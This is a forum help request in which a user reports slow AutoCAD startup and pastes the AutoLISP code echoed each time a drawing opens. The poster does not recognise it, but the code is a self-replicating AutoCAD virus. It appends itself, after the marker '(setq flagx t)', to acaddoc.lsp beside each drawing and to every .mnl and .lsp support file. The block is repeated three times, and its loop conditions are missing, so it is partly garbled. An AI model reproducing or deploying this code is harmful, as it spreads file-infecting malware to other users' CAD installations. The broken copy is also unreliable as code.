Jump to content

AutoCad Delay StartUp Time.


akinlolugbojiakinlolugboj
 Share

Recommended Posts

I have three versions of AutoCad (2007, 2012 & 2013) installed on my 64bit machine (Win 7) As of this morning it takes ages to open a new drawing or an existing one( with 2013 having the most delay and 2007 having the lest)

Each time I have to open a new drawing, the program has to go throught this list of instructions.

 

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

(setq mnln 0)

(while (

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while (

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(setq mnln1 0)

(while (

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while (

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(setq lspn1 0)

(while (

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while (

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

 

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target "r"))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

(setq mnln 0)

(while (

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while (

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(setq mnln1 0)

(while (

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while (

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(setq lspn1 0)

(while (

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while (

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

 

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target "r"))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

(setq mnln 0)

(while (

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while (

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(setq mnln1 0)

(while (

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while (

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(setq lspn1 0)

(while (

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while (

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

 

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target "r"))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

(setq mnln 0)

(while (

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while (

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(setq mnln1 0)

(while (

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while (

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(setq lspn1 0)

(while (

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while (

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

bad argument type: streamp nil

Command: COMMANDLINE

 

Any way of stopping or correcting this?

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

×
×
  • Create New...